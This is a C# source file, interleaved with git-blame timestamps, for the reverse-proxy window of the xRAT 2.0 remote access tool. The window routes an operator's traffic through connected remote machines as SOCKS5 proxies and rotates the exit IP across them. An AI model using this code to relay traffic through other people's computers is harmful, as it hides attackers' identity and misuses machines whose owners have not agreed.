2015-05-10 04:11:27 -07:00
using System ;
using System.Windows.Forms ;
using xServer.Core.ReverseProxy ;
2015-05-19 13:17:03 -07:00
using xServer.Core.Helper ;
2015-06-05 14:07:37 -07:00
using xServer.Core.Networking ;
2015-05-10 04:11:27 -07:00
namespace xServer.Forms
{
public partial class FrmReverseProxy : Form
{
2015-05-29 14:34:57 -07:00
private readonly Client [ ] _clients ;
2015-05-10 10:02:10 -07:00
private ReverseProxyServer SocksServer { get ; set ; }
2015-05-29 14:34:57 -07:00
private ReverseProxyClient [ ] _openConnections ;
private Timer _refreshTimer ;
2015-05-10 04:11:27 -07:00
2015-05-16 11:39:35 -07:00
public FrmReverseProxy ( Client [ ] clients )
2015-05-10 04:11:27 -07:00
{
InitializeComponent ( ) ;
2015-05-29 14:34:57 -07:00
this . _clients = clients ;
2015-05-16 11:39:35 -07:00
2015-05-29 14:34:57 -07:00
foreach ( Client t in clients )
t . Value . FrmProxy = this ;
2015-05-10 04:11:27 -07:00
}
private void FrmReverseProxy_Load ( object sender , EventArgs e )
{
2015-05-29 14:34:57 -07:00
if ( _clients . Length > 1 )
2015-05-16 11:39:35 -07:00
{
2015-06-25 13:22:45 -07:00
this . Text = "xRAT 2.0 - Reverse Proxy [Load-Balancer is active]" ;
2015-05-29 14:34:57 -07:00
lblLoadBalance . Text = "The Load Balancer is active, " + _clients . Length + " clients will be used as proxy\r\nKeep refreshing at www.ipchicken.com to see if your ip address will keep changing, if so, it works" ;
2015-05-16 11:39:35 -07:00
}
2015-05-29 14:34:57 -07:00
else if ( _clients . Length = = 1 )
2015-05-16 11:39:35 -07:00
{
2015-06-25 13:22:45 -07:00
this . Text = Helper . GetWindowTitle ( "Reverse Proxy" , _clients [ 0 ] ) ;
2015-05-16 11:39:35 -07:00
lblLoadBalance . Text = "The Load Balancer is not active, only 1 client is used, select multiple clients to activate the load balancer" ;
}
2015-05-10 04:11:27 -07:00
}
private void btnStart_Click ( object sender , EventArgs e )
{
try
{
2015-05-10 10:02:10 -07:00
SocksServer = new ReverseProxyServer ( ) ;
SocksServer . OnConnectionEstablished + = socksServer_onConnectionEstablished ;
SocksServer . OnUpdateConnection + = socksServer_onUpdateConnection ;
2015-05-29 14:34:57 -07:00
SocksServer . StartServer ( _clients , "0.0.0.0" , ( int ) nudServerPort . Value ) ;
2015-05-10 10:02:10 -07:00
btnStart . Enabled = false ;
btnStop . Enabled = true ;
2015-05-16 08:41:28 -07:00
2015-05-29 14:34:57 -07:00
_refreshTimer = new Timer ( ) ;
_refreshTimer . Tick + = RefreshTimer_Tick ;
_refreshTimer . Interval = 100 ;
_refreshTimer . Start ( ) ;
2015-05-10 04:11:27 -07:00
}
catch ( Exception ex )
{
2015-05-29 14:34:57 -07:00
MessageBox . Show (
string . Format (
"An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\\https://github.com/MaxXor/xRAT/issues" ,
ex . Message ) , "" , MessageBoxButtons . OK , MessageBoxIcon . Error ) ;
2015-05-10 10:02:10 -07:00
btnStop_Click ( sender , null ) ;
2015-05-10 04:11:27 -07:00
}
}
2015-05-16 08:41:28 -07:00
void RefreshTimer_Tick ( object sender , EventArgs e )
2015-05-10 04:11:27 -07:00
{
2015-05-16 08:41:28 -07:00
try
2015-05-10 04:11:27 -07:00
{
2015-05-16 08:41:28 -07:00
lock ( SocksServer )
2015-05-10 04:11:27 -07:00
{
2015-05-29 14:34:57 -07:00
this . _openConnections = SocksServer . OpenConnections ;
LvConnections . VirtualListSize = this . _openConnections . Length ;
2015-05-16 08:41:28 -07:00
LvConnections . Refresh ( ) ;
}
}
catch { }
}
2015-05-10 06:34:49 -07:00
2015-05-16 08:41:28 -07:00
void socksServer_onUpdateConnection ( ReverseProxyClient proxyClient )
{
2015-05-10 04:11:27 -07:00
2015-05-16 08:41:28 -07:00
}
2015-05-10 08:39:20 -07:00
2015-05-16 08:41:28 -07:00
void socksServer_onConnectionEstablished ( ReverseProxyClient proxyClient )
{
2015-05-10 08:39:20 -07:00
2015-05-10 04:11:27 -07:00
}
private void btnStop_Click ( object sender , EventArgs e )
{
2015-05-29 14:34:57 -07:00
if ( _refreshTimer ! = null )
_refreshTimer . Stop ( ) ;
2015-05-10 10:02:10 -07:00
btnStart . Enabled = true ;
btnStop . Enabled = false ;
if ( SocksServer ! = null )
SocksServer . Stop ( ) ;
2015-05-10 04:11:27 -07:00
try
{
2015-05-10 10:02:10 -07:00
SocksServer . OnConnectionEstablished - = socksServer_onConnectionEstablished ;
SocksServer . OnUpdateConnection - = socksServer_onUpdateConnection ;
2015-05-10 04:11:27 -07:00
}
catch { }
}
private void FrmReverseProxy_FormClosing ( object sender , FormClosingEventArgs e )
{
//Stop the proxy server if still active
2015-05-10 10:02:10 -07:00
btnStop_Click ( sender , null ) ;
2015-05-10 10:42:17 -07:00
2015-05-29 14:34:57 -07:00
for ( int i = 0 ; i < _clients . Length ; i + + )
2015-05-16 11:39:35 -07:00
{
2015-05-29 14:34:57 -07:00
if ( _clients [ i ] . Value ! = null )
_clients [ i ] . Value . FrmProxy = null ;
2015-05-16 11:39:35 -07:00
}
2015-05-10 10:02:10 -07:00
}
private void nudServerPort_ValueChanged ( object sender , EventArgs e )
{
2015-05-16 08:41:28 -07:00
lblProxyInfo . Text = string . Format ( "Connect to this SOCKS5/HTTPS Proxy: 127.0.0.1:{0} (no user/pass)" , nudServerPort . Value ) ;
}
private void LvConnections_RetrieveVirtualItem ( object sender , RetrieveVirtualItemEventArgs e )
{
lock ( SocksServer )
{
2015-05-29 14:34:57 -07:00
if ( e . ItemIndex < _openConnections . Length )
2015-05-16 08:41:28 -07:00
{
2015-06-25 13:22:45 -07:00
ReverseProxyClient connection = _openConnections [ e . ItemIndex ] ;
2015-05-16 08:41:28 -07:00
e . Item = new ListViewItem ( new string [ ]
{
2015-06-25 13:22:45 -07:00
connection . Client . EndPoint . ToString ( ) ,
connection . Client . Value . Country ,
2015-07-10 11:12:00 -07:00
( connection . HostName . Length > 0 ) ? string . Format ( "{0} ({1})" , connection . HostName , connection . TargetServer ) : connection . TargetServer ,
2015-06-25 13:22:45 -07:00
connection . TargetPort . ToString ( ) ,
Helper . GetDataSize ( connection . LengthReceived ) ,
2015-07-10 11:12:00 -07:00
Helper . GetDataSize ( connection . LengthSent ) ,
2015-06-25 13:22:45 -07:00
connection . Type . ToString ( )
} ) { Tag = connection } ;
2015-05-16 08:41:28 -07:00
}
}
}
private void killConnectionToolStripMenuItem_Click ( object sender , EventArgs e )
{
lock ( SocksServer )
{
if ( LvConnections . SelectedIndices . Count > 0 )
{
//copy the list, it could happen the suddenly the items de-select
int [ ] items = new int [ LvConnections . SelectedIndices . Count ] ;
LvConnections . SelectedIndices . CopyTo ( items , 0 ) ;
foreach ( int index in items )
{
2015-05-29 14:34:57 -07:00
if ( index < _openConnections . Length )
2015-05-16 08:41:28 -07:00
{
2015-05-29 14:34:57 -07:00
ReverseProxyClient connection = _openConnections [ index ] ;
if ( connection ! = null )
2015-05-16 08:41:28 -07:00
{
2015-05-29 14:34:57 -07:00
connection . Disconnect ( ) ;
2015-05-16 08:41:28 -07:00
}
}
}
}
}
2015-05-10 04:11:27 -07:00
}
}
2015-05-17 03:11:40 -07:00
}